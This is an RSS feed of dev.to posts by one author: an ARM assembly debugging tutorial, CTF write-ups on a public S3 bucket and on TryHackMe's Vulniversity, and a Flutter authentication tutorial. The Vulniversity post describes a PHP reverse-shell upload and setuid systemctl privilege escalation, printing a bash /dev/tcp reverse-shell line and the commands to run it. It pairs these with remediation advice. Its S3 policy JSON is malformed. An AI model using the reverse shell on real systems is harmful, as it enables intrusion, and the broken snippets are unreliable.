&lt;code&gt;list main&lt;/code&gt; which should produce the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;File: /Users/corery/c_projects/hello_world.c
   1    #include &amp;lt;stdio.h&amp;gt;
   2    
   3    int main(){
   4        printf("Hello, World !\n");
   5        return 1;
   6    }
   7    
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's pause our program right before the printf function executes by setting a break point on line 4.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(lldb) breakpoint set -l 4
Breakpoint 1: where = hello_world`main + 24 at hello_world.c:4:2, address = 0x0000000100003f88
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The address of line 4 within the memory of the binary is at &lt;code&gt;0x0000000100003f88&lt;/code&gt;. This number is written in what is called &lt;code&gt;hexadecimal&lt;/code&gt; which is a base 16 numerical system, as opposed to the traditional base 10 numbering system that you're used to. The numeral system of base 10 vs base 16 is shown below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;base 10 | base 16
________|___________
    0   |   0
    1   |   1
    2   |   2
    3   |   3
    4   |   4 
    5   |   5
    6   |   6
    7   |   7
    8   |   8
    9   |   9
    10  |   A
    11  |   B
    12  |   C
    13  |   D
    14  |   E
    15  |   F

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typically when debugging you don't need to convert hexadecimal numbers to base 10 to understand what's going on, that would be way too much work. You just need to be able to understand where different segments of memory addresses are in relation to one another. That is to say which addresses are higher and lower than one another. &lt;/p&gt;

&lt;p&gt;Now that we have some understanding of base 16 and we've set a breakpoint it's time to run our program with the unironically name &lt;code&gt;run&lt;/code&gt; command. Notice how the program stops just before the &lt;code&gt;printf&lt;/code&gt; call. You should see the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(lldb) run
Process 3181 launched: '/Users/corery/c_projects/hello_world' (arm64)
Process 3181 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000100003f88 hello_world main at hello_world.c:4:2
   1    #include &amp;lt;stdio.h&amp;gt;
   2    
   3    int main(){
-&amp;gt; 4        printf("Hello, World !\n");
   5        return 1;
   6    }
   7    
Target 0: (hello_world) stopped.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our debugger conviently shows both the memory adress of the paused programs code and the actual C line which we're stopped at. Exectables like the one we compiled are divided into 4 memory segments from lowest to highest adresses they are the &lt;code&gt;code&lt;/code&gt;, &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;stack&lt;/code&gt;, and &lt;code&gt;heap&lt;/code&gt;. We'll dive into each of these segments into more detail later, for now all you need to understand is that the &lt;code&gt;code&lt;/code&gt; segment stores the actual instruction set for the executable and as you can see our program is paused at the instructions located at &lt;code&gt;0x0000000100003f88&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;As our program takes a break from running we can finally dive into the magical world of ARM assembly. Lets disassemble our program.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(lldb) disass
hello_world`main:
    0x100003f70 &amp;lt;+0&amp;gt;:  sub    sp, sp, #0x20
    0x100003f74 &amp;lt;+4&amp;gt;:  stp    x29, x30, [sp, #0x10]
    0x100003f78 &amp;lt;+8&amp;gt;:  add    x29, sp, #0x10
    0x100003f7c &amp;lt;+12&amp;gt;: stur   wzr, [x29, #-0x4]
    0x100003f80 &amp;lt;+16&amp;gt;: adrp   x0, 0
    0x100003f84 &amp;lt;+20&amp;gt;: add    x0, x0, #0xfa8         ; "Hello, World !\n"
-&amp;gt;  0x100003f88 &amp;lt;+24&amp;gt;: bl     0x100003f9c            ; symbol stub for: printf
    0x100003f8c &amp;lt;+28&amp;gt;: mov    w0, #0x1
    0x100003f90 &amp;lt;+32&amp;gt;: ldp    x29, x30, [sp, #0x10]
    0x100003f94 &amp;lt;+36&amp;gt;: add    sp, sp, #0x20
    0x100003f98 &amp;lt;+40&amp;gt;: ret    
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a lot to take in, as you can see our 2 line C function produced 11 lines of assembly, imagine how much assembly a 100 line C program would produce. I used to think of C as a low level programming language, mostly because I was used to programming with Ruby but after realizing how verbose and complex assembly language is I came to appreciate the level of abstraction and utility of C. &lt;/p&gt;

&lt;p&gt;You came here to understand ARM assembly, so lets break down the first line of code. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;0x100003f70 &amp;lt;+0&amp;gt;:  sub    sp, sp, #0x20&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;0x100003f70&lt;/code&gt; all the way to the left is the memory address of the instruction. The actual instructions located at &lt;code&gt;0x100003f70&lt;/code&gt; are located all the way to the right ie. &lt;code&gt;sub    sp, sp, #0x20&lt;/code&gt;. Like any language ARM assembly has a grammar or syntax that it's instructions must meet. In this case the format is &lt;code&gt;&amp;lt;operation&amp;gt; &amp;lt;destination&amp;gt;, &amp;lt;source1&amp;gt;, &amp;lt;source2&amp;gt;&lt;/code&gt;. Note note all instructions make use of the second operand as it is refereed to as &lt;code&gt;flexible&lt;/code&gt;. Flexible operations are a distinguishing feature between x86_64 and ARM assembly. &lt;/p&gt;

&lt;p&gt;Before diving into what every line of this assembly means we need to understand two concepts: &lt;code&gt;registers&lt;/code&gt; and &lt;code&gt;operations&lt;/code&gt;. A process register is a hardware variable, it is where our computer stores data as the program executes. Registers are stored within the RAM of the system, the more RAM you have the more processes you can run in parrallel because you have more available registers. We'll go over registers in the next part of this series.&lt;/p&gt;

</description>
      <category>arm</category>
      <category>assembly</category>
      <category>lldb</category>
      <category>debugging</category>
    </item>
    <item>
      <title>Securing S3 Buckets: Flaws.cloud level1</title>
      <dc:creator>gardnerapp</dc:creator>
      <pubDate>Mon, 29 May 2023 18:57:34 +0000</pubDate>
      <link>https://dev.to/coreyscorner/securing-s3-buckets-flawscloud-level1-1p35</link>
      <guid>https://dev.to/coreyscorner/securing-s3-buckets-flawscloud-level1-1p35</guid>
      <description>&lt;p&gt;This is a tutorial for those with beginners to moderate computer skills, where we'll be learning security concepts on the AWS cloud platform by playing the &lt;a href="http://flaws.cloud"&gt;flAWS CTF&lt;/a&gt;. A pen test or red team exercise is useless unless the security risks and mistakes can be explained to the development team. Unlike other tutorials which only tell you how to capture the flag I'm going to take things a step further by providing remediation and recommendations. &lt;/p&gt;

&lt;p&gt;If you'd like to try the CTF on your can check it out at &lt;a href="http://flaws.cloud"&gt;http://flaws.cloud&lt;/a&gt;. The first step of every engagement is to conduct reconnaissance, useful information like where our application is running and what it's tech stack is will help us determine at which angle to attack it from. We can figure out the IP address of flaws.cloud by running a pin command like so:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ping flaws.cloud&lt;br&gt;
PING flaws.cloud (52.92.138.91): 56 data bytes&lt;br&gt;
64 bytes from 52.92.138.91: icmp_seq=0 ttl=232 time=116.146 ms&lt;br&gt;
64 bytes from 52.92.138.91: icmp_seq=1 ttl=232 time=116.076 ms&lt;br&gt;
64 bytes from 52.92.138.91: icmp_seq=2 ttl=232 time=114.995 ms&lt;br&gt;
^C&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Ping sends a series of packets, specifically ICMP packets to the server that the flaws.cloud domain name points to. Ping is a tool used to see if a server is online, it's like yelling &lt;code&gt;"Hello !"&lt;/code&gt; at the server and waiting for an answer back from the server. Ping automatically converts a domain name to an IP address by contacting what is called a name server, which is basically analogous to a phone book that tells everyone which IP addresses are associated with which server. &lt;/p&gt;

&lt;p&gt;Determining the name server can help us understand which services within the cloud the application is running on. We can find the name server by running&lt;br&gt;
&lt;code&gt;nslookup 52.92.138.91&lt;/code&gt; which will produce the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
Server:     2001:578:3f::30
Address:    2001:578:3f::30#53

Non-authoritative answer:
91.138.92.52.in-addr.arpa   name = s3-website-us-west-2.amazonaws.com.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacking the name server would be out of scope, but we do find some valuable information in that the website is being hosted in S3 within the us-west-2 region. This information will allow us to interact with the website through the aws command line tool and the other HTTPS endpoints offered by S3. &lt;/p&gt;

&lt;p&gt;S3 is an acronym that stands for "simple storage &lt;br&gt;
service", it can be used to store literally anything like  CSS, JavaScript, HTML files, log backups, and even memes. To break into a system we must understand what the rules are for using that system like how assets communicate with each other and how their permissions operate. With all that being said here are some basic rules of S3 that you might not know: &lt;/p&gt;

&lt;p&gt;1) Objects are stored in collections called buckets, think of a &lt;br&gt;
bucket as a folder or database table. &lt;/p&gt;

&lt;p&gt;2) There are a series of permissions that determine which other AWS accounts or services can read, write or edit objects within an S3 bucket. &lt;/p&gt;

&lt;p&gt;3) Buckets are stored in regions and in order to access the bucket we must know both its name and the region where it is located. See &lt;br&gt;
&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/"&gt;https://docs.aws.amazon.com/AmazonS3/latest/userguide/&lt;/a&gt;&lt;br&gt;
access-bucket-intro.html for more info.&lt;/p&gt;

&lt;p&gt;4) When hosting a static website on S3 the domain name of the bucket must be the same as the buckets name. Don't ask me why this is, it was probably just easier for the AWS developers to set things up this way. &lt;/p&gt;

&lt;p&gt;Now that we know the buckets name &lt;code&gt;flaws.cloud&lt;/code&gt; and its region&lt;br&gt;
&lt;code&gt;us-west-2&lt;/code&gt; we can go visit the site via the AWS s3 access &lt;br&gt;
point. HTTP access points all follow the same syntax which is &lt;code&gt;https://&amp;lt;bucket name&amp;gt;&amp;lt;bucket region&amp;gt;.amazonaws.com&lt;/code&gt;. Which means the flaws.cloud bucket will be hosted at &lt;code&gt;https://flaws.cloud.s3.us-west-2.amazonaws.com&lt;/code&gt;. If you go on over to this site you'll find this XML tree:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"&amp;gt;
&amp;lt;Name&amp;gt;flaws.cloud&amp;lt;/Name&amp;gt;
&amp;lt;Prefix/&amp;gt;
&amp;lt;Marker/&amp;gt;
&amp;lt;MaxKeys&amp;gt;1000&amp;lt;/MaxKeys&amp;gt;
&amp;lt;IsTruncated&amp;gt;false&amp;lt;/IsTruncated&amp;gt;
&amp;lt;Contents&amp;gt;
&amp;lt;Key&amp;gt;hint1.html&amp;lt;/Key&amp;gt;
&amp;lt;LastModified&amp;gt;2017-03-14T03:00:38.000Z&amp;lt;/LastModified&amp;gt;
&amp;lt;ETag&amp;gt;"f32e6fbab70a118cf4e2dc03fd71c59d"&amp;lt;/ETag&amp;gt;
&amp;lt;Size&amp;gt;2575&amp;lt;/Size&amp;gt;
&amp;lt;StorageClass&amp;gt;STANDARD&amp;lt;/StorageClass&amp;gt;
&amp;lt;/Contents&amp;gt;
&amp;lt;Contents&amp;gt;
&amp;lt;Key&amp;gt;hint2.html&amp;lt;/Key&amp;gt;
&amp;lt;LastModified&amp;gt;2017-03-03T04:05:17.000Z&amp;lt;/LastModified&amp;gt;
&amp;lt;ETag&amp;gt;"565f14ec1dce259789eb919ead471ab9"&amp;lt;/ETag&amp;gt;
&amp;lt;Size&amp;gt;1707&amp;lt;/Size&amp;gt;
&amp;lt;StorageClass&amp;gt;STANDARD&amp;lt;/StorageClass&amp;gt;
&amp;lt;/Contents&amp;gt;
&amp;lt;Contents&amp;gt;
&amp;lt;Key&amp;gt;hint3.html&amp;lt;/Key&amp;gt;
&amp;lt;LastModified&amp;gt;2017-03-03T04:05:11.000Z&amp;lt;/LastModified&amp;gt;
&amp;lt;ETag&amp;gt;"ffe5dc34663f83aedaffa512bec04989"&amp;lt;/ETag&amp;gt;
&amp;lt;Size&amp;gt;1101&amp;lt;/Size&amp;gt;
&amp;lt;StorageClass&amp;gt;STANDARD&amp;lt;/StorageClass&amp;gt;
&amp;lt;/Contents&amp;gt;
&amp;lt;Contents&amp;gt;
&amp;lt;Key&amp;gt;index.html&amp;lt;/Key&amp;gt;
&amp;lt;LastModified&amp;gt;2020-05-22T18:16:45.000Z&amp;lt;/LastModified&amp;gt;
&amp;lt;ETag&amp;gt;"f01189cce6aed3d3e7f839da3af7000e"&amp;lt;/ETag&amp;gt;
&amp;lt;Size&amp;gt;3162&amp;lt;/Size&amp;gt;
&amp;lt;StorageClass&amp;gt;STANDARD&amp;lt;/StorageClass&amp;gt;
&amp;lt;/Contents&amp;gt;
&amp;lt;Contents&amp;gt;
&amp;lt;Key&amp;gt;logo.png&amp;lt;/Key&amp;gt;
&amp;lt;LastModified&amp;gt;2018-07-10T16:47:16.000Z&amp;lt;/LastModified&amp;gt;
&amp;lt;ETag&amp;gt;"0623bdd28190d0583ef58379f94c2217"&amp;lt;/ETag&amp;gt;
&amp;lt;Size&amp;gt;15979&amp;lt;/Size&amp;gt;
&amp;lt;StorageClass&amp;gt;STANDARD&amp;lt;/StorageClass&amp;gt;
&amp;lt;/Contents&amp;gt;
&amp;lt;Contents&amp;gt;
&amp;lt;Key&amp;gt;robots.txt&amp;lt;/Key&amp;gt;
&amp;lt;LastModified&amp;gt;2017-02-27T01:59:28.000Z&amp;lt;/LastModified&amp;gt;
&amp;lt;ETag&amp;gt;"9e6836f2de6d6e6691c78a1902bf9156"&amp;lt;/ETag&amp;gt;
&amp;lt;Size&amp;gt;46&amp;lt;/Size&amp;gt;
&amp;lt;StorageClass&amp;gt;STANDARD&amp;lt;/StorageClass&amp;gt;
&amp;lt;/Contents&amp;gt;
&amp;lt;Contents&amp;gt;
&amp;lt;Key&amp;gt;secret-dd02c7c.html&amp;lt;/Key&amp;gt;
&amp;lt;LastModified&amp;gt;2017-02-27T01:59:30.000Z&amp;lt;/LastModified&amp;gt;
&amp;lt;ETag&amp;gt;"c5e83d744b4736664ac8375d4464ed4c"&amp;lt;/ETag&amp;gt;
&amp;lt;Size&amp;gt;1051&amp;lt;/Size&amp;gt;
&amp;lt;StorageClass&amp;gt;STANDARD&amp;lt;/StorageClass&amp;gt;
&amp;lt;/Contents&amp;gt;
&amp;lt;/ListBucketResult&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively we could see all of the objects in the S3 bucket through the AWS cli by running &lt;code&gt;aws s3 ls s3://flaws.cloud --region us-west-2&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Why are we seeing this? One of the permissions developers can set on buckets is the &lt;code&gt;ListBucketResult&lt;/code&gt; permission which allows a user to see all of the objects within the bucket. S3 permissions can be configured to allow or prohibit specific AWS users to do or not do this or that but they also apply to non-aws resources like the public.&lt;/p&gt;

&lt;p&gt;In this case the &lt;code&gt;ListBucketResult&lt;/code&gt; permission is open to the public meaning that anyone can see everything within the bucket including the &lt;code&gt;secret-dd02c7c.html&lt;/code&gt; file. All static websites hosted on S3 will default to having their homepage set to index.html. If I have a &lt;code&gt;foo.html&lt;/code&gt; file within my bucket this file will be available at &lt;code&gt;mys3website/foo.html&lt;/code&gt;. That being said if we visit &lt;code&gt;flaws.cloud/secret-dd02c7c.html&lt;/code&gt; we'll find the flag and go on to the next level. &lt;/p&gt;

&lt;p&gt;So where did the developers go wrong? Their first mistake was allowing for the &lt;code&gt;ListBucketResult&lt;/code&gt; permission open to the public. With this permission anyone and everyone can see that they had a secret file stored in S3. Their second mistake was that they also allowed for the &lt;code&gt;S3GetObject&lt;/code&gt; permission to be open to the public on the entirety of the bucket, including secret file. Which means that anyone can request to see the secret file. This is probably what the permissions for this bucket looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "Version": "2012-10-17",
    "Id": "FaultyS3Permissions",
    "Statement": [
        "Sid": "AllowListAndGetToPublic",
        "Effect": "Allow",
        "Principal": "*",
        "Action": [
            "s3:GetObject",
            "s3:ListBucket"
        ],
        "Resource": "arn:aws:s3:::flaws.cloud"
    ]
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The meat of these permissions are in the &lt;code&gt;Statement&lt;/code&gt; key where the &lt;code&gt;Effect&lt;/code&gt; grants permissions through &lt;code&gt;Allow&lt;/code&gt;. These permissions are applied to everyone, including the public through the &lt;code&gt;Principal&lt;/code&gt; key which tells AWS which users and services should have access. Its value set to the anonymous permissions as denoted by the splat &lt;code&gt;*&lt;/code&gt;. The &lt;code&gt;Action&lt;/code&gt; list describes what users can actually do, in this case list and get all of the objects in the bucket. Lastly the &lt;code&gt;Resource&lt;/code&gt; key is saying to apply these permissions to the flaws.cloud bucket. &lt;/p&gt;

&lt;p&gt;The developer needed to have prohibited the public from being able to list and get every single object in the bucket. By default AWS does not grant users or the public permissions, the developer had to go out of the way to give these permissions. Rather than denying the public the ability to list objects in the bucket and get the secret file we would want permissions that only allow our admin account do so.&lt;/p&gt;

&lt;p&gt;Here is what a more secure set of permissions would have looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
{
    "Version": "2012-10-17",
    "Id": "ProhibitPublicListing",
    "Statement": [
        "Sid": "AllowListBucketForDefau;lt",
        "Effect": "Allow",
        "Principal": "arn:aws:iam::12345:user/Default",
        "Action": [
            "s3:ListBucket"
        ],
        "Resource": "arn:aws:s3:::flaws.cloud/"
    ],

    "Statement": [
        "Sid": "HideSecretFile",
        "Effect": "Allow",
        "Principal": "arn:aws:iam::12345:user/Default",
        "Action": [
            "s3:GetObject"
        ],
        "Resource": "arn:aws:s3:::flaws.cloud/secret-dd02c7c.html"
    ],

    "Statement": [
        "Sid": "AllowPublicAccessToWebPages",
        "Effect": "Allow",
        "Principal": "*",
        "Action": [
            "s3:GetObject"
        ],
        "Resource": [
            "arn:aws:s3:::flaws.cloud/index.html",
            "arn:aws:s3:::flaws.cloud/hint1.html",
            "arn:aws:s3:::flaws.cloud/hint2.html",
        ]
    ],

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first and second statements allow our &lt;code&gt;iam user&lt;/code&gt; Default with an account id of &lt;code&gt;122345&lt;/code&gt; to list all objects in the bucket and perform the &lt;code&gt;GetObject&lt;/code&gt; action on the secret file. As mentioned before AWS users and the public are explicetly denied access to resources by default, which was not always the case. Therefore we don't need to set up statements with the &lt;code&gt;Deny&lt;/code&gt; effect all though this is done occasionaly. In the last statement we allow the public to view specific objects in our bucket by specifying those objects as list within the &lt;code&gt;Resource&lt;/code&gt; tag.&lt;/p&gt;

</description>
      <category>security</category>
      <category>cloud</category>
      <category>aws</category>
      <category>microservices</category>
    </item>
    <item>
      <title>Privilege escalation &amp; Security Remediation For TryHackMe's Vulniversity</title>
      <dc:creator>gardnerapp</dc:creator>
      <pubDate>Tue, 23 May 2023 18:42:44 +0000</pubDate>
      <link>https://dev.to/coreyscorner/privilege-escalation-security-remediation-for-tryhackmes-vulniversity-3i35</link>
      <guid>https://dev.to/coreyscorner/privilege-escalation-security-remediation-for-tryhackmes-vulniversity-3i35</guid>
      <description>&lt;p&gt;Blacklisting file extensions on file uploads didn't prevent me from gaining access to the web-server. After discovering a form  that allowed me to upload files with the &lt;code&gt;.phtml&lt;/code&gt; extension I was able to spawn a reverse shell by modifying this &lt;a href="https://github.com/pentestmonkey/php-reverse-shell"&gt;script&lt;/a&gt; from pentest monkey to connect back to my NetCat listener, the script was executed after browsing to the path which it was uploaded to.&lt;/p&gt;

&lt;p&gt;Filters for file extensions are use less if any user can achieve RCE through file uploads. In order to prevent this type of intrusion the developers could've set the permissions for uploaded files as non-executable, they also could've scanned files for tell tale signs of malicious activity such as containing strings like &lt;code&gt;cat /etc/passwd&lt;/code&gt; or &lt;code&gt;/bin/sh&lt;/code&gt;. Monitoring and restricting the child processes of the web-server wouldn't have been a bad idea either. &lt;/p&gt;

&lt;p&gt;I now had access to the Apache server as the unprivileged www-data user. Linux systems have a variety of users that are used to handle daemons, jobs and other processes that are abstracted away from the user and ran in the background automatically. Typically "system or "daemon" users as I like to call them do not have a login profile and lack a password. In this case the Apache server is managed by the www-data user. &lt;/p&gt;

&lt;p&gt;That being said these system users will run the same tasks and commands over and over again with very little variation, they are a program and lack randomness in their behavior. Ultimately security is about spotting deviations from normal behavior, if all of your users are in America and suddenly you start seeing traffic from the communist country of Westphelia that is a red flag. Think of it like this every day you walk into your home and Fido the doge greets you. One day you come home the door is wide open, there is some broken glass and Fido is missing. This would be an indication that APT-32 may have broken into your house and nabbed your beloved Fido. &lt;/p&gt;

&lt;p&gt;On a side note I heard on a podcast that former special forces operative and UFC fighter Tim Kennedy is extremely organized in that he puts all of his forks, dishes, etc away in a systematic fashion. This allows him to spot when someone was messing with his stuff, as it is highly unlikely that an intruder would be detailed or sharp enough to pick up on or mimic on his organizational patterns. &lt;/p&gt;

&lt;p&gt;Organization helps us spot deviations from normal behavior, if your room is messy and always looks like it was ransacked you won't be able to know when it's actually ransacked.&lt;/p&gt;

&lt;p&gt;Before an attacker finds the juicy data they're looking for they need to figure out 1) who they are (&lt;code&gt;whoami&lt;/code&gt;), 2) Where they are (&lt;code&gt;env&lt;/code&gt;, &lt;code&gt;pwd&lt;/code&gt;) and 3) what kinds of permissions they have (&lt;code&gt;ls -la&lt;/code&gt;,&lt;code&gt;cd&lt;/code&gt;). These commands will typically always be run by humans and therefore should be blacklisted from system/daemonic accounts or trigger alarms as a set of intrusion canaries. Aside from specific commands child processes can be monitored for suspicious behavior as well, like spawning an SSH shell to the headquarters of the Westphelian Red Army. &lt;/p&gt;

&lt;p&gt;I had penetrated the peripheries of the web-server and obtained access to an unprivileged account, that's nice and all but what we're really aiming for is pwnage ie. root access and the flag in the &lt;code&gt;/home/root&lt;/code&gt; directory. In order to escalate my privileges the CTF gave a hint that I needed to find a binary with permissions that enabled the setuid bit. After running this command: 'find /bin -perm /4000 ' I found that a handful of binaries including systemctl, the interface for interacting with systemd had the ability to run as the root user. Systemctl would prove to be the most viable of our options because it can run code, I now had a way to RCE as root. &lt;/p&gt;

&lt;p&gt;Linux permissions are a way of specify which users and groups can read, write and execute files. Traditional file permissions are not the only set of permissions on a Linux system, users can harden their systems with SELinux and a special set of permissions called capabilities which manage calls to the Kernel come into play when using containerization technologies. &lt;/p&gt;

&lt;p&gt;The setuid permission allows for a program to be used by anyone on the system, but when the executable is running it runs with root level permissions. This is dangerous because all of the child processes of the executable will also have root permissions, if I divert an executable from its normal functioning I can spawn a malicous process as root. But, thats a little complex for this CTF. Instead all I need to do is have systemd run a unit of my choosing. &lt;/p&gt;

&lt;p&gt;At the time I was not familiar with systemd or systemctl so I had to hit the books literally and pick up my copy of How Linux Works 2nd Edition. Systemd can be briefly summarized as the brain of the Linux system, it is the first process in the system and sets everything else into motion. Systemctl is simply a programmatic interface for interacting with systemd. &lt;/p&gt;

&lt;p&gt;Now the question arose as to "How do I execute code with systemctl?". I could of course run &lt;code&gt;cat /home/root/flag.txt&lt;/code&gt; with systemctl but that is extremly boring and I wouldn't have persistent root access. Why not get a root shell instead? &lt;/p&gt;

&lt;p&gt;Systemctl interacts with systemd through what are called units, these units can be scheduled to do pretty much whatever you want on the system including open sockets, manage devices and mount file systems. After doing some research online I used the &lt;a href="https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49"&gt;this unit file &lt;/a&gt;from  to escalate my privileges, obviously I had to modify the IP to match that of my attack box and open up another NetCat listener to match the port in the unit file. &lt;/p&gt;

&lt;p&gt;I could pretty much understand every line in the unit file except for:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
ExecStart= /bin/bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.22.22:/999 0&amp;gt;&amp;amp;1'&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
(10.10.22.22 is my attack box IP where my NC is listening on port 9999)&lt;/p&gt;

&lt;p&gt;Basically all this line is saying is open up a bash shell and redirect the output to a tcp socket device that connects to &lt;code&gt;/dev/tcp/my_host/my_port&lt;/code&gt;. The /dev file is for managing hardware on the linux system, things like keyboards, USBs, network interfaces and even the disc itself are represented as files within this directory. The &lt;code&gt;&amp;gt;&amp;amp;&lt;/code&gt; redirects the standard output and error (stout, stderr) of the bash shell to a socket and the &lt;code&gt;0&amp;gt;&amp;amp;1&lt;/code&gt; directs the standard input (stdin) of the shell to that of the open sockets file descriptor. &lt;/p&gt;

&lt;p&gt;It was a bit of a hassle trying to use &lt;code&gt;vi&lt;/code&gt; through a reverse shell to create a unit file. So I just wrote the unit file on my attack box, gave it a &lt;code&gt;.phtml&lt;/code&gt; extension, uploaded it to the web-server and when I was ready pwn reverted the &lt;code&gt;.phtml&lt;/code&gt;to a &lt;code&gt;.service&lt;/code&gt; extension. &lt;/p&gt;

&lt;p&gt;After firing up another NetCatlistener which would handle root connections it was time to run my unit. In order to enable the unit ie. get the system ready for running it I ran &lt;code&gt;/bin/systemctl enable /var/www/internal/uploads/root.service&lt;/code&gt;. I could then run the unit via &lt;code&gt;/bin/systemctl start root.service&lt;/code&gt; and bang I had root !&lt;/p&gt;

&lt;p&gt;A security team could have thwarted this privilege escalation simply by turning the promiscuous setuid bit off or by monitoring systemctl access by the system users, who as I stated before are doing the same highly predictable tasks day in and day out. Because of this predictability the commands for the behavior of users can be monitored or blacklisted as it is highly unlikely the the www-data user is interacting with systemctl to do anything besides the Nginx stop, start and restart commands. &lt;/p&gt;

</description>
      <category>security</category>
      <category>hacking</category>
      <category>redteaming</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>Flutter User Authentication Part 1: Models and API</title>
      <dc:creator>gardnerapp</dc:creator>
      <pubDate>Fri, 03 Dec 2021 20:38:23 +0000</pubDate>
      <link>https://dev.to/coreyscorner/flutter-user-authentication-part-1-models-and-api-eb</link>
      <guid>https://dev.to/coreyscorner/flutter-user-authentication-part-1-models-and-api-eb</guid>
      <description>&lt;p&gt;Signing user up, in and out are nearly universal features for every type of app. In this series I’ll teach you how to build a simple authentication system. Part 1 will cover the basics of API calls and models. In part 2 I’ll teach you how to store authenticated users inside your app with the Cubit package and in part 3 we’ll be learning how to maintain sign-in after our app closes by using the shared preferences package.&lt;/p&gt;

&lt;p&gt;Podcast: &lt;a href="https://podcasts.apple.com/us/podcast/coreys-corner/id1479097455"&gt;https://podcasts.apple.com/us/podcast/coreys-corner/id1479097455&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Learn to code: &lt;a href="https://www.youtube.com/channel/UCfd8A1xfzqk7veapUhe8hLQ"&gt;https://www.youtube.com/channel/UCfd8A1xfzqk7veapUhe8hLQ&lt;/a&gt;&lt;br&gt;
Creating a Base API class:&lt;/p&gt;

&lt;p&gt;Our first step is to build a BaseAPI class to hold all of the URL’s of our API. In my How To Make Flutter API Calls Easy I taught you how to use class inheritance as a means of simplifying and organizing your API calls. This class isn’t to complex it just stores the routes we will be requesting, check out the code below.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Class BaseAPI{    static String base = "http://localhost:3000"; 
    static var api = base + "/api/v1";
    var customersPath = api + "/customers";
    var authPath = api + "/auth"; 
   // more routes   Map&amp;lt;String,String&amp;gt; headers = {                           
       "Content-Type": "application/json; charset=UTF-8" };                                      

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ultimately creating our Base class makes it easier for us to manage our API endpoints.&lt;br&gt;
Creating A Customer API Class&lt;/p&gt;

&lt;p&gt;Next we’re going to create a class to store all of the API calls for customer authentication.&lt;/p&gt;

&lt;p&gt;We’ll make request using darts HTTP library, any data we send will be encoded in JSON format. Each request will return a Future of type HTTP response. Inside of our widgets we’ll be using the Response’s statusCode attribute to determine if our calls were successful.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import 'dart:convert';

import 'package:resteraunt_starter/api/BaseAPI.dart';
import 'package:http/http.dart' as http;

class AuthAPI extends BaseAPI {  Future&amp;lt;http.Response&amp;gt; signUp(String name, String email, String phone,
      String password, String passwordConfirmation) async {
    var body = jsonEncode({
      'customer': {
        'name': name,
        'email': email,
        'phone': phone,
        'password': password,
        'password_confirmation': passwordConfirmation
      }
    });

    http.Response response =
        await http.post(super.customersPath, headers: super.headers, body: body);
    return response;
  }

  Future&amp;lt;http.Response&amp;gt; login(String email, String password) async {
    var body = jsonEncode({'email': email, 'password': password});

    http.Response response =
        await http.post(super.authPath, headers: super.headers, body: body);

    return response;
  }


  Future&amp;lt;http.Response&amp;gt; logout(int id, String token) async {
    var body = jsonEncode({'id': id, 'token': token});

    http.Response response = await http.post(super.logoutPath,
        headers: super.headers, body: body);

    return response;
  }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now it’s time to create our Customer class!&lt;br&gt;
Creating a Customer Object&lt;/p&gt;

&lt;p&gt;When we create an object we are creating our own data type, we’re creating a blue print that outlines all the properties that each of our customers will have.&lt;br&gt;
&lt;/p&gt;

